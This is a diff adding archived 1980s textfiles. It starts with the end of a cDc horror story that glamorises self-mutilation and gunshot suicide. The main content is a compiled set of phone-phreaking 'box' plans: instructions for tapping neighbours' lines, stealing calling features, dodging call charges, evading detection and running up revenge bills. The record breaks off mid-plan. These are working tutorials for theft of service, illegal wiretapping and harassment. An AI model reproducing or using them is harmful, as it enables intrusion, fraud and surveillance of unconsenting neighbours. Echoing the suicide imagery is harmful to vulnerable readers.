closed the +scissors, cutting it apart, then pushed up some more. The scissors started to +slip because of the blood covering them, but he still pushed them up. He felt +them stop against something hard. Hmm... must be a bone. He slammed the +scissors against it a few times, then pulled it out of his nose and smashed +them up with all his might. He felt the bone crack and give way right before +he felt a sharp pain in his head, then a peculiar tingling feeling spreading +throughout his body. He let go of the scissors and they dropped from his nose, +which was now nearly obliterated from his face. There was a spreading red mark +where his nose used to be. He felt no pain now, he felt very light, like a +feather. He felt himself floating... he wasn't aware of the blood pouring from +his face, or of the small trickle of blood starting to come from his ears +either. He just felt the immense ecstasy of floating on nothing, of peace and +warmth and light, all mixed into one. He rolled around on the air he was +floating on and a sharp knock on his head brought him back to reality. He +wasn't floating, he was on his bed, and he had just fallen off. He staggered +to his feet, wondering what had happened. His head hurt, but his nose was +killing him, so he walked to the mirror, and looked into it. He stared at +himself, and screamed. + + *** + + Vanessa stared down the barrel of the gun. She didn't think it looked +particularly dangerous, just kind of ominous. She didn't even know what kind +of gun it was, she had just stolen it out of her father's desk when he was out. +She opened the chamber and noted with satisfaction that all six bullets were +there. Six were plenty, six were more than enough. She carefully closed the +chamber of the gun and put it to her left ankle and pulled the trigger. The +bullet came out of the gun with infinite slowness, it seemed to Vanessa. She +could just pull away, and it would all be ok. But she couldn't pull away. She +looked away from her ankle for a second, then looked back at it, and saw the +hole in the carpet. At first she thought she had somehow missed, but then she +looked at her ankle, with the neat little hole popped right through it. Right +through it. The blood started to drip down to her sneakers. + + She pointed the gun at her right ankle and repeated the previous +procedure. And she still felt no pain. No pain at all. She stood up, took a +step, and collapsed. Her torn-up ankles couldn't support her. No problem. +She sat up, and stuck the barrel of the gun into her left elbow. She stared at +it for a moment before pulling the trigger. It was loud. For some reason, she +hadn't noticed the loudness with the ankles, but now she did. And this time, +there was pain. Oh, so much pain, hurts, hurts, hurts, so much pain, waves +of pain. Her whole elbow was ripped apart and blood was spattered everywhere. +She stuck the barrel into her right elbow, and pulled the trigger without +hesitation. This time there was no pain, and no noise either. Unfortunately, +there was no color either, as everything had turned sort of a light-grayish +white shade. Never mind. + + Vanessa looked down at herself and thought. Then she knew. She +inserted the barrel of the pistol into her navel and pulled the trigger. Her +whole body jerked backwards and she was thrown back a few feet. She looked +down and saw just a large hole in the middle of her stomach. Vanessa felt +blood starting to drip down her legs and felt along her back. There was a hole +there, too. She turned around and saw that the bullet had gone right through +her into the dresser. + + She heard feet running up the stairs. "Vanessa! Vanessa! What was +that noise! Vanessa! Are you all right?!" Her mother had come home. This +would speed things up a bit. Her mother walked in the door and staggered back +a step. She fell to the floor and stared at Vanessa, nearly hyperventilating. +"Oh my god, Vanessa! Vanessa, my baby, what happened to you?" Vanessa smiled +sweetly at her mother, inserted the barrel of the gun into her left ear, and +pulled the trigger. She heard her mother screaming in the background, but +right before she heard the screams, she thought, "What about my right ear?" +And then there was the noise again, only much, much, much louder than before. +Too loud. It felt like her head was exploding. She was vaguely aware of a +throbbing pain in her head, but wasn't concerned about that right now. She was +aware of a bright light, however, a very bright light. And she looked towards +it, then tried to look away, for it was blinding her. She couldn't move her +head. Then she closed her eyes, and felt the light burning against her +eyelids, and then her eyelids were on fire, and burned away. She screamed for +the first time since the whole thing had started. Then her whole body was on +fire, and she heard her mother's screams grow dimmer and dimmer until they +ceased. + + *** + + Bradley ran down the hallway as fast as he could and leaped with all +his might through the thick stained glass window. He heard it shatter, and +had a feeling like thorns scratching him all over his body. Opening his eyes, +he saw the ground coming closer at an incredible rate. He tried to maneuver +himself to land on his feet, but ended up landing headfirst. He covered his +head with his arms, and literally heard each bone shatter into several pieces. +His arms were bloody with pieces of bone sticking through the skin in many +places. + + Then Bradley stood up. He walked to the intersection and jumped in +front of an oncoming vehicle. The screech of brakes was deafening as the +driver tried desperately to stop his car, but hit Bradley head-on anyways, +throwing him into the air. The car spun out of control, smashing into a nearby +store and exploding, killing the driver and two others. + + Bradley started to stand up but noticed that he was missing a leg. He +tried to crawl but his arms felt like rubber, and looked like rubber too, bent +and twisted like a pretzel. Bradley looked up just in time to see the truck +surging forward. One of the big wheels ran right over his head. The skull +crunched like a potato chip under the huge wheel. He felt his blood, under +immense pressure, force holes through his arteries and skin, to squirt in all +directions. Then this tremendous pressure, it seemed, lifted from him, and +then there was nothing. + + ...and then there was nothing. + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 TacoLand II...............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Sunspot 5/20 - 10/24/88-81 + All Rights Worth Shit + + \ No newline at end of file diff --git a/textfiles.com/groups/CDC/ultra21.txt b/textfiles.com/groups/CDC/ultra21.txt new file mode 100644 index 00000000..0779ef60 --- /dev/null +++ b/textfiles.com/groups/CDC/ultra21.txt @@ -0,0 +1,3979 @@ + Ü Ü Ü ÜÜÜÜÜ ÜÜÜÜ ÜÜÜÜ + Û Û Û Û ÛÜÜÛ ÛÜÜÛ + ÛÜÜÛ ÛÜÜÜ Û Û ÛÜ Û Û + + + + ÜÜÜÜ ÜÜ + ÜÜÜÛ Û + ÛÜÜÜ ÜÛÜ + + + + ÜÜÜ Ü Ü ÜÜÜÜ ÜÜÜ ÜÜÜ Ü ÜÜÜ ÜÜÜÜ ÜÜÜÜÜ ÜÜÜÜ ÜÜÜÜ Ü Ü + ÛÜÛÜ ÛÜÜÛ ÛÜÜÜ Û Û Û Û Û ÛÜÜÜ Û ÛÜ ÛÜÜÛ ßÜÜß + ÛÜÜÛ ÜÜÜÛ ÜÜÜÛ ÜÛÜ Û ÛÜÛ ÜÛÜ ÜÜÜÛ Û ÛÜÜÜ Û ÛÜ Û Û + + + + ÜÜÜÜ Ü Ü ÜÜÜ ÜÜÜÜÜ ÜÜÜÜ ÜÜÜÜÜ ÜÜÜÜ ÜÜÜ ÜÜÜÜ Ü Ü ÜÜÜ ÜÜÜ Ü ÜÜÜÜ + Û ÜÜ Û Û Û Û Û ÛÜ Û Û Û ÛÜÛÜ Û Û ßÜÜß Û Û Û Û Û ÜÜ + ÛÜÜÛ ÛÜÜÛ ÜÛÜ ÜÛÜÜÛ ÛÜÜÜ Û ÛÜÜÛ ÛÜÜÛ ÛÜÜÛ Û Û ÜÛÜ Û ÛÜÛ ÛÜÜÛ + + + + +Acrylic Box - The Pimp +Advanced Pearl Box - Dispater +Beige Box 1 - Dr. Ditto +Beige Box 2 - >Unknown< +Black Box - >Unknown< +Blast Box - Shadow Hawk +Brown Box - >Unknown< +Bud Box - Dr. D-Code & The Pimp +Charge Box - Piggy The Pig +Cheese Box - >Unknown< +Chrome Box - Outlaw Telecommandos +Clear Box - >Unknown< +Copper Box - The Cypher +Crimson Box - Dr. D-Code +Dayglo Box - John F. Kennedy +Ditto Box - Dr. Ditto +Diverter Info - >Unknown< +Grab Box - Shadowspawn +Green Box - Bioc Agent 003 +HBO Box - >Unknown< +Infinity Box - Ironman +JRD Red Box - J.R. Dobbs Red Box +Light Box - >Unknown< +Lunch Box - Dr. D-Code +Magenta Box - Street Fighter +Mauve Box - Captain Generic +Neon Box - >Unknown< +Olive Box ->Unknown< +Pearl Box - Dr. D-Code +Pin Box - Fugazi +Pink Box - Baba O'Riley +Purple Box - The Flash +Razz Box - The Magnet +Red Box - >Unknown< +Rock Box - Video Vindicator +Red Box from 2600 - 2600 +Scarlet Box - The Pimp +Scribble Box - Outlaw Telecommandos +Silver Box - >Unknown< +Slush Box - Dispater +Snow Box - >Unknown< +Tan Box - Samurai Cat +Tanger Box - Happy Harley +White Box - >Unknown< + +I have collected as many of the box files as i could find and placed them into +one easy to read text file. I have left out any blue box information since it +is outdated (Mostly) in the United States. I have collected enough info on +Blue Boxes to release as a future file anyways. I tried to give credit to any +person or group who originally released the text file. I removed many of the +board names and numbers since they are no longer active. I always wondered +why no one else has compiled all the information avaliable on boxes into an +easy to read single file. So i went ahead and did it. Everything is mostly +in alphabetical order. + +As many of you know Blitzkrieg Bbs has gone down. That was our main release +point for ULTRA files. We will search for a new system to distribute from +until Predat0r puts another system back up. I encourage all who enjoyed the +system to drop a note to the post office box. I'm sure we can expect to see +a better system when it goes back up. I also think we will have exclusive +first hand knowledge of when that will be since we are in contact. I am +going to try to do an interview with Predat0r for a future release. + +If you like this file be sure to get all the other ULTRA releases. + + + + + `/`\`/`\`/`\`/`\`/`\`/`\`/`\`/`\` + |-------Acrylic Box Plans-------| + | \----------------/ | + | \______By______/ | + | | + | [ The Pimp ] | + \_______________________________/ + + + +Ok the purpose of this box is to get Three-Way-Calling, Call Waiting, +programmable Call Forwarding, and an easier way of extended Bud Boxing ALL for +FREE. + + +Materials: + +1) Wire stripers +2) Couple Feet Wire +3) AT&T/BELL Can +4) Hex Wrench + + +Idea: Ok the idea of this box is to get all of the above features by stealing +them from the fortunate ones on your block. + +Procedure: + +Step 1) Find AT&T/BELL Can that is being used to service you surrounding area. + +Step 2) Open can with Hex wrench. + +Step 3) Find your line and another persons line who has 3-way, Call +(waiting/forwarding), if the # of all the lines are not listed in the box you +will have to use your local ANI to find them. + +Step 4) Once you have found the lines then wire the (Black & Yellow) wires on +the victims line to the (Black & Yellow) wires on you line (Be sure your phone +at home uses all 4 wire as some of the cheap phones don't). + +Step 5) Then disconnect the victims (Black & Yellow) Wires, resulting the the +loss of these features to their line ( you mat want to leave these wires +connected, this may or may not cause problems I haven't tried it that may yet). + + +Well That Sums It Up! + + +Procedure for easier extended Bud Box. + +If if for some reason your line is disconnected, or you just want to use hook +someone's line to your line for fearless phreaking follow the procedure below. + +Ok Go to the local can and find a line that is used by weekend visitors or a +summer/winter home, and hook their (Red & Green) Wires to your (Red & Green) +Wires, and your off into the fearless world of phreaking ( i recommend you +phreak from these line, so that the owners don't get uptight and look into the +matter), unless of course you are doing it for revenge! + + +Some Suggestions: + +Take a Bud box Along to do a ANI just to make sure you have the right line, +also in some cases you will have to switch between the (Red/Green) +(Black/Yellow) or any other combination if your area has changed the standard +format which id very unlikely. + +Have Fun + + +And I'm not responsible for your actions. + +Acrylic Box: Written & Created + By + [ The Pimp ] + + + --------------------------------------------------------------------------- + ////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ +|= =| +|= Advanced Pearl Box =| +|= 07/01/89 (APB) 07/01/89 =| +|= Tested and Created by: Dispater =| +|= =| \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////////////////// + --------------------------------------------------------------------------- + +INTRO: After reading the fucked up shit on the original pearl box, I decided + that there was an easier and cheaper way of doing the same thing with + an IC and parts you probably have just laying around the house. + +PARTS: CD4049 RCA intigrated circuit + .1 uF disk capacitor + 1 uF 16V electrolitic capacitor + 1K resistor + 10K resistor + 1meg pot + 1N914 diode + some SPST momentary pushbutton switches + 9 Volt battery & clip + and miscalanious shit you should have laying around the house. + +STATE-OF-THE-ART-NEATO TEXT SCHEMATIC: + + 16V 1uF - + _______________________________||_____ + | ! ! || | _ + | _______________________ |__________| |/| 8ohms + ____|__|_____:__|__:__|_ | __________| | | + | 9 10 11 12 13 14 15 16 | | | |_|\| + | CD4049UBE | | | + |_1__2__3__4__5__6__7__8_| : | _ + | | |__| |__| | |____________________|_________[-] + | | ! ! : [b] + | |__________________________| [a] + | : : | [t] + | ! 1N914 ! ! [t] + |___________|/|_____________________________________[+] + : |\| : : + | | | + | 10K | | + |___/\/\/\__| | + | | | + |_____||____| | + || | | + .1uF 50V | | + | | + ___| |___ + | | + |_/\/\/\_____/\/\/\ | 1Meg + 1K ^ | + |____| +EXTRAS: + To keep tones that you wanna use frequently like 1850 Hz then all you + have to do is put in a variable resistor and adjust it to where you + have the correct tone, then just put a push-putton switch on the line. + You can link them together in a chain, etc. + + | ___ | + | o o | + | /\/\/\___| |__| + | ^ | + |____| ___ | + | o o | + | /\/\/\___| |__| + | ^ | + |__| | + ! ! + : (etc) : + +There are many other good mods to make to the box so have phun and be smart. + + + Topic for today: Beige Boxing + Written by : Dr. Ditto of SOF + + F.R.O.G. - Foneline: Recieving/Outgoing, Guarded phreaking. + + +The reason I call this FROG phreaking is simple - you use the +Foneline, can Recieve calls and make Outgoing calls, and you are +basically Guarded when you do it. (Actually, I have this fone that +looks like a frog, which I "modified" to use for phreaking, so I +decided to use those letters as an acronym. Pretty neat, huh?) +In reality, this idea is known as "Beige Boxing". But, since I +didn't know that at the time I wrote this phile, and since I +despise the color beige, *I'M* gonna call it frogging. You call it +whatever you want. + +FROG phreaking is a bit different from other phreaking, which you +do in the privacy of your own home. There are a few downfalls to +using codes, and phreaking from your home, such as 1) The call can +be traced 2) The Phone Company keeps a log of ALL your outgoing +calls, incoming calls, and the time you spent talking. They know +which number you call, and when, and which number called you, etc. +3) Sometimes codes can bill, and if you use them from your own +line, you can be billed 4) The phone co takes interest in your use +of codes - if they see you ripping them off too much, they squash +you. + As you can see, it's VERY easy to get busted, if you aren't +careful. FROG phreaking (Frogging, from now on) is a bit safer, in +some respects. And then again, maybe not. It's not for everyone, +but you can decide that for yourself. + With Frogging, you don't use your own fone line. You use your +neighbors. Or your bosses. Or the one for the old warehouse down +the street. Simply put, Frogging involves tapping into another +person's phone line, which is HIGHLY ILLEGAL. Frogging involves +trespassing, and possibly being seen,, depending on how secretive +you are. Frogging is, to say the least, something you DON'T want +to get caught doing. Consider yourself warned. + + FROGGING Basics + + Like most kinds of phreaking, you will need some special +equipment. Here is a list of things you WILL need: + + 1) Lineman's Handset (or a working, MODIFIABLE phone) + 2) Screwdriver (flathead, in most cases) + 3) Two alligator clips (preferably insulated) + 4) Solder and Soldering Iron + 5) Electricians Tape + 6) * 20' of phone wire & phone jack (female) + 7) * Flashlight (test it!) + 8) * SPST switch +The items with asterisks (*) are OPTIONAL, but helpful. The rest +is definitely needed. Now, it's really nice if you have a +lineman's handset, but since 99.9% of the people don't, I'll tell +ya how to make one, from your MODIFIABLE phone (not the one in your +kitchen that mommy uses to call for pizza, ok?!?!) You should use +a small ONE PIECE phone (with the dial and hangup buttons on the +handset), preferably TOUCH TONE, but not necessary, and it would be +nice if it had a lighted dial, so you can see to dial at night. +Here's how to fix the phone, to allow it to be used on ANY phone +line: + +1) Cut the plug off the end of the phone cord, but leave about 2 +inches of wire connected to the plug. You may be glad later that +you did. NOTE: If you have the 20' of wire and female phone jack, +don't bother cutting up the phone cord. You can, but it's probably +a waste of time. + +2) Back to the phone cord - you will see 4 wires: red, green, +black, and yellow. Ignore the black and yellow, cause they aren't +used at all for our purpose. Strip the red and green wires about +1/2 an inch, and solder one alligator clip to the red wire, and one +to the green wire. Allow the solder to cool (about 30 seconds) and +wrap the soldered joints with electrical tape. If you are using +the 20' of wire, solder an alligator clip to the red and green +wires, as told above. Then, attatch the female phone plug to the +other end of the wire, making a kind of Phreakers extension cord. +(Be sure to hook the red and green wires up to the right place!) +Your phone can then be plugged into the phone jack, which in turn +runs into the alligator clips. This way, the phone will need no +modification. + +3) Well, the easy stuff (?) is done; now for the PHUN part! Go +outside to the phone box on your house, and (using that +screwdriver) open it. There are more types of phone boxes than +there are IBM compatibles, so it's tough to describe what you will +see, in detail. All boxes are the same, for the most part, though. + +You will probably see a phone cord plugged into a test jack. This +is the line that connects your house to the outside phone lines. +Pull out the plug, and your house fones go dead. Put it back in, +and they reconnect (how brilliant we are today!) ANYWAY - hook +your modified telephone (HANDSET from now on) onto the screws in +your phone box. Be sure to hook the red clip to the red wire, and +the green clip to the green wire. (Tough, I know...) When you +listen to your handset, you should hear a dial tone. You can now +place or recieve calls. If you don't hear a dialtone, try +reversing the alligator clips, or try other screws, until you find +a combination that produces a dialtone. There WILL be one. Now, +an interesting fact that you SHOULD know already. Almost every +house or building that has a phone has one of those boxes outside. +Get the picture? You can open up anyone's box, and use their phone +line. Some older houses are "hardwired" to the phone line, and +there is no box. The wires usually connect near the roof of the +house, and they're just a bit out of our reach. So, you'll have to +find a house with a box if yours doesn't have one. + If you know the number for ANI (Automatic Number +Identification) you can dial it, and see which number you're +calling from. This is VERY important if you wish to recieve calls +while you're phreaking (keep the ringer volume down!) + On some telephone poles, you can find boxes just like those on +the side of a house. Simply connect your handset, and call away. +If there are multiple lines in the box, dial ANI to find out the +numbers, then call them, to see who lives there. In Lancaster Co, +and surrounding areas, ANI is 311. Just dial that, and a machine +will tell you the number you're calling from. That number probably +changes from area to area, so ask a few local hackers what the ANI +number is, and you should be able to find out. If not, try calling +the phone company, and worm the info out of them. If they say they +can't tell ya, call a friend who works for Ma Bell, and check it +out. Either way, ANI is a VERY handy number to have. + Now, back to the poles... I mentioned before that there are +boxes on telephone poles which hold connections. Mess with 'em if +you want, but be careful - remember - if the person who owns the +line picks up the phone, he's able to listen to any conversation +you have going on, and you CANNOT hang him up! So, if you call +your girlfriend who lives 3 counties away, while Frogging, and the +owner of the line you're using picks up his phone, he is now +listening to ya, and even if you hang up, he is still connected +with your girlfriend! NOT GOOD! It's a good way to get busted, +really! That's where the optional SPST (single pole single throw) +switch comes in. If you connect it between the box screw and the +wire going to his house, you can flip it and hang him up. His +phones will go dead, and it will give you a chance to disconnect +and get out of there! If you intend to use one particular line a +lot, I recommend hooking up a safety switch, as a precaution. (Be +sure to turn his line on again, though, before you take off, or +he'll get the phone company out there, and they will see your +little rig) It's best to do your frogging when the people are away +on vacation, or late at night, after they go to bed. (It's kinda +nice to be under the cover of darkness, too, as some kid standing +beside a phone pole in front of a house and talking on a phone is +probably going to draw attention from the neighbors). + Now, if you plan on calling a BBS, it's kinda tough to use the +Frogging technique, unless you have a laptop. You can use your +imagination, though, to figure out a way to get a full blown 386 +and VGA monitor plugged in beside the road, so as to use the +frogging technique. Good luck, bud. + Frogging is basically for voice phone calls, which are to be +made long distance. Please remember, though, that the person who +owns the line you are using will get billed, and after a while +he'll start to get suspicious. Of course, if you hate the person, +find one of those 900 numbers that charges $30 the first minute, +and call it 5 or 6 times from his phoneline. NASTY!! + I have found that the best place to go beige boxing is +somewhere like an industrial park. They are usually deserted after +dark, and those big companies probably don't scrutinize the phone +bill very carefully, so they probably won't get suspicious too +fast. + Another thing to keep a lookout for are those 2 foot high +rectangular phone company boxes that you'll often find in a new +developement when there are underground phone lines. Those boxes +can hold from one up to about 20 different lines, and they are +really easy to get into. There is a bolt holding them closed, and +it's protected by a round disk, so you can't use a normal wrench to +loosen it. Well, use a pliers. Loosen the bolt, but don't take it +out. If it's loose enough to turn easily, you can open the box. +Simply pull up on the front panel, and walla, hacker heaven. If +you have trouble getting the thing open, get a bolt cutters, cut +the bolt, and use a screwdriver to open the thing up. I have yet +to find one that takes more than a minute to open... but the +first one took a while, until I figured out how to do it. Anyway, +once it's open, you'll see rows of connections, that are in this +setup: + O <-\ + O <------\_____ One Line pair + O=bolt O <-\ + O <------\______ Another line pair + O <-\ + O <------\______ Third line pair + +The lines are paired as shown. Try all possible line pairs, +because each pair of bolts could be hooked up. Also, try reversing +red and green wires for each pair, too, since there doesn't appear +to be any standard setup in these boxes. The nice thing about +these boxes is that they open up so many numbers, so you can use +the same box over and over, on different lines, and people won't +get suspicious as fast. Most of these boxes are REALLY close to +the road, too, and it's quite simple to park near one, hook up, and +sit in your car and talk on the phone! Keeps things more private. +Of course, if someone gets your license number, you're screwed. + There are literally MILLIONS of phone boxes out there, just +begging to be tapped into. Always be sure to choose one in a +secluded spot, and try not to be too obvious. Blend in... while +you're hooking up, keep an eye out for cars coming, and, worse yet, +people walking! If a car comes you can walk away, till it's out of +sight. Or, if you are in a car, pop off the right rear hubcap, and +throw it in your trunk, before trying to hook up. Then, if anyone +asks why you're parked there, say you lost the hubcap and are +looking for it along the edge of the road. it might seem like a +lot of trouble, but hey, it's a sure way to cover your butt! And +I'd rather pop off a hubcap than get fined a few thousand bucks for +violating federal wiretap laws, trespassing laws, and whetever else +they'd nail you for!!! + In summary: You now know how to beige box correctly. Don't be +afraid to experiment - phone lines don't contain enough voltage to +shock you, or blow up your phone. Play a bit, and learn. Above +all, don't get caught! + + >><*><< DoctoR DiTTo >><*><< + +[High Tech Revenge: The Beigebox] + +The beigebox is simply a consumer lineman's handset, which is a +phone that can be attached to the outside of a person's house. To +fabricate a beigebox, follow along. + +Making a beigebox: + +Obtain an old phone, and cut off the plug on the end. Solder an +alligator clip onto the red wire, and the green wire. + +Now, imagine the possibilities: a $2000 dollar phone bill for +that special person, 976 numbers galore, even harassing the +operator at no risk to you! Think of it as walking into an +enemies house, and using their phone to your heart's content. + +Connecting the beigebox: + +Look on the outside of your victim's house, taking note of any +wires leading from a telephone pole to the exterior of their +house. Follow the wires, and find where they connect. The +telephone wire should be black, and about the width of your small +finger. You do NOT want the 220 volt house current, unless you +like having a permanent orange afro. + +When the telephone wire connects to the victim's house, it should +run down their wall, and into a small beige or grey box. Some +boxes have a bolt in the dead center, and some have even gone as +far as to have a lock (smashing them open is no problem). Now, +you must open the box, and observe: you should see three bolts, +each with wires attached. Connect the two alligator clips to the +two outside bolts, and then you should get a dial tone. If you +do not get a dial tone, experiment with the connections. By the +way, don't worry about getting electrocuted; there is not enough +power in the phone lines to harm you. + +After placing a few phone calls, if you really want to get even, +pull all the wires out of the box. This will result in about a +$100 dollar service charge for your enemy. + +Use your imagination! + + + -<\>--<\>--<\>--<\>--<\> + Black Box Plans + -<\>--<\>--<\>--<\>--<\> + + To all who dare -- + + What is a BLACK BOX? A BLACK BOX is a device that is hooked up to +your fone that fixes your fone so that when you get a call, the caller +doesn't get charged for the call. This is good for calls up to 1/2 +hour, after 1/2 hour the Fone Co. gets suspicious, and then you can +guess what happens. + +The way it works: + + What this little beauty does is keep the line voltage from +dropping to 10v when you answer your fone. The line is insted kept at +36v and it will make the fone think that it is still ringing while +your talking. The reason for the 1/2 hour time limit is that the Fone +CO. thinks that something is wrong after 1/2 an hour of ringing. + + All parts are available at Radio Shack. Using the least possible +parts and arangement, the cost is $0.98 !!!! And that is parts for two +of them! Talk about a deal! If you want to splurge then you can get a +small PC board, and a switch. There are two schematics for this box, +one is for most normal fones. The second one is for fones that don't +work with the first. It was made for use with a Bell Trimline touch +tone fone. + + Schematic 1 for most fones <\> + LED ON: BOX ON <\> + +FROM >--------------------GREEN-> TO +LINE >--! 1.8k LED !---RED--> FONE + !--/\/\/\--!>--! + ! ! + ------>/<------- + SPST + + + +Parts: 1 1.8k 1/2 watt resistor + 1 1.5v LED + 1 SPST switch + +You may just have two wires which you connect together for the switch. + + + Schematic 2 for all fones <\> + LED ON: BOX OFF <\> + +FROM >---------------GREEN-> TO +LINE >------- ---RED--> FONE + ! LED ! + -->/<--!>-- + ! ! + ---/\/\/--- + 1.8k + +Parts: 1 1.8k 1/2 watt resistor + 1 1.5v LED + 1 DPST switch + + + Here is the PC board layout that I +recommend using. It is neat and is +very easy to hook up. + + Schematic #1 Schematic #2 + + ************** **************** + * * * ------- * + * ----- * * ! ! * + * ! ! * * ! * + * RESISTOR ! * * ! ! ! * + * ! ! * * ! ! / * + * -------- ! * * ! ! \ * + * ! ! * * ! ! / * + * --SWITCH-- * * ! ! \ * + * ! ! * * ! ! / * +L * ! ! * F L * ! ! ! * F +I>RED- -RED>O I>RED- ---RED>O +N>-----GREEN---->N N>-----GREEN------>N +E * h * E E * * E + ************** **************** + + + Once you have hooked up all the parts, you must figure out what +set of wires go to the line and which go to the fone. This is because +of the fact that LED's must be put in, in a certain direction. +Depending on which way you put the LED is what controls what wires are +for the line & fone. + +How to find out: + + Hook up the box in one direction using one set of wires for line +and the other for fone. *NOTE* For Model I switch should be OFF. +*NOTE* For Model ][ switch should be set to side connecting the LED. + + Once you have hooked it up, then pick up the fone and see if the +LED is on. If it is, the LED will be lit. If is doesn't light then +switch the wires and try again. Once you know which are which then +label them. *NOTE* - If neither directions worked then your switch was +in the wrong position. Now label the switch in its current position as +BOX ON. + +How to use it: + + The purpose of this box is not to people who call you so it would +make sense that it can only be used to receive! calls. When the box is +*ON* then you may only recieve calls. Your fone will ring like normal +and the LED on the box will flash. If you answer the fone now, then +the LED will light and the caller will not be charged. Hang up the +fone after you are done talking like normal. You will not be able to +get a dial-tone or call when the box is on, so turn the box *OFF* for +normal calls. I don't recommend that you leave it on all the time, as +you don't want it to answer when Ma Bell calls! + + + [=-=================================-=] + [=-=] Presenting: [=-=] + [=-=] The !BLAST! Box [=-=] + [=-=] An *ORIGINAL* Box, [=-=] + [=-=] Designed And Invented By [=-=] + [=-=] (_> Shadow Hawk 1<_) [=-=] + [=-=================================-=] + +Ever want to really make yourself be heard? Ever talk to someone on the phone +who just doesn't shut up? Or just call the operator and pop her eardrum? Well, +up until recently it has been impossible for you to do these things. That is, +unless of course you've got a blast box. All a blast box is, is a really cheap +amplifier, (around 5 watts or so) connected in place of the microphone on your +telephone. It works best on model 500 AT&T Phones, and if constructed small +enough, can be placed inside the phone. + +Construction: + +Construction is not really important. Well it is, but since I'm letting you make +your own amp, I really don't have to include this. + +Usage: + +Once you've built your blast box, simply connect a microphone (or use the +microphone from the phone) to the input of the amplifier, and presto. There it +is. Now, believe it or not, this device actually works. (At least on crossbar.) +It seems that Illinois bell switching systems allow quite alot of current to +pass right through the switching office, and out to whoever you're calling. When +you talk in the phone, it comes out of the other phone (again it works best if +the phone that you're calling has the standard western electric earpiece) +incredibly loud. This device is especially good for PBS Subscription drives. +Have Phun, and don't get caught! + +(_> Shadow Hawk 1 <_) + + + /-/-/-/-/-/-\-\-\-\-\-\ +<:-\-Brown Box Plans-/-:> + \-\-\-\-\-\-/-/-/-/-/-/ + + +(>Introduction<) + + This is a fairly simple modification that can be made to any phone. +All it does is allow you to take any 2 lines in your house and create a party +line. So far I have not heard of Any problems with it from my friends that +have +set one up and I have not had any either. There is one thing that you will +notice when you are one of the two people who is called by a person with this +box. The other person will sound a little bit faint. I could overcome this +with some amplifiers but then there wouldn't be very many of these boxes made. +I think that the convenience of having two people on line at any one time will +make up for the minor volume loss. + +(>Phone Modification Instructions<) + + +Here is the diagram: + +KEY:___________________________________ + ! PART ! SYMBOL ! + ----------------------------------- + !BLACK WIRE ! * ! + !YELLOW WIRE ! = ! + !RED WIRE ! + ! + !GREEN WIRE ! - ! + !SPDT SWITCH ! _/_ ! + ! _/_ ! + !VERTICAL WIRE ! | ! + !HORIZONTAL WIRE ! _ ! + ----------------------------------- + + * = - + + * = - + + * = - + + * = - + + * = - + + * ==_/_- + + *******_/_++++++ + | | + | | + | | + |_____PHONE____| + + +--------------------------------------- + + In some houses the black and yellow are already wired in others you +will have to go out to your box and rewire it. A good way to figure out which +line is which is to take the phone you are looking for off the hook. Then you +only need to take the red and green wires entering your phone and hook them +to the different pairs of red and green going into the house. You can't hurt +anything in the phone or telephone by probeing. When you find the pair that +you want take the black from your line and attach it to the red of the other +line then take the yellow and attach it to the green line. Now you are all +set +to go. For people with rotary phones you can have one person call you then +place the second call out to the other person. Though not phreakers tool, the +brown box can be phun. + + + + + /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\ + /=\ /=\ + /=\ HOW TO MAKE YOUR FONE INTO A /=\ + /=\ /=\ + /=\ BUD BOX /=\ + /=\ /=\ + /=\ INVENTED BY /=\ + /=\ /=\ + /=\ DR. D-CODE & THE PIMP /=\ + /=\ /=\ + /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\ + + This box is quite similar to a beige box, except this is a portable unit. +It is extremely handy for free voice calls and tapping a near by house's line. +It's really easy to make so don't worry about it (unlike a blue box!). + + MATERIALS: 2 Alligator clips + One piece fone or normal fone (one piece is easier!) + Soldering iron and some solder + Some good wire + + PROCEDURE + +1) Cut the wire that connects the fone to the wall. Inside there should be 4 + colored wires. Yellow, red, green, and black. If the wires are not + colored, no need to get worried. The two in the middle are red & green. + Those are the two you need. +2) Make sure to keep about 1-2 feet of this wire connected to the fone unless + you want to use the other wire listed above. Now solder one alligator + clip to the green wire, and one the red. +3) If you're using the other wire, strip the ends and solder one end to of + each to the red and green on the fone, and one end to an alligator clip. +4) Go to a near by house and locate the little gray box. It's simple to + find, look by the gas meter. It should have the BELL logo on it. +5) To open this thing, put your hand underneath it and hit upward. You + should get contact with the bottom edge of it. +6) Now it should come open nice and easy. Look inside and you will see five + screws in this pattern: + + * * + + * + + * * + +7) The screw in the middle and the two on the left do nothing. (you may want + to check the two on the left, some people have a second line hooked up to + these two.) All you need to worry about are the two on the right. The + one in the top right-hand corner is usually the green, and the one in the + bottom right-hand corner is usually the red. +8) Clip an alligator clip to the corresponding terminals. (red to red, the + green to green.) You should get a dial tone. If you don't, switch the + alligator clips around. If you still don't get a dial tone (or someone's + conversation!) then the line has probably been disconnected or the fone is + off the hook. + + IDEAS OF USE FOR THE BUD BOX + + Get a lot of wire and run it into your house. Then you'll be an extension +of that line. The fone will ring and you can listen to everything that's +going on the that line. + + You can call direct to any place using normal BELL service (gasp!). i.e.: +1-702-831-4263. The bill will be not be charged to you. It will be charged +to your neighbors (or whoever.) + + If you want to have two lines to call (providing the house that the line +is from is always vacant.), you can just dial: 444-1787 and you should get a +recording stating what number it is. To test this, dial the number the re- +cording says, if it's busy, you're set. + + This has been an HMH presentation--1985 + + DR. D-CODE & THE PIMP + + + + + + The Charging Box (c) Stinky Pig Productions + ---------------- -------------------------- + + What it does: + + The Charging Box is used to indicate when a call is being charged + for and when it is not. Once installed, the box has two lights, a + green and a red. Green means free and red shows that you are being + stung by BT! + + Components: + + 1 x green LED 1 x circuit board + 1 x red LED 2 x 10K ohm (1/4 watt) resistors + 2 x short lengths of wire 2 x small bulldog clips + + Circuit Diagram: + + | Line | + | (50v) | + |------ ------| + | | + |-----[]------O------| + | | + |-----[]------O------| + + Where [] is a resistor and O is an LED. + NB. IMPORTANT! One LED should have it's 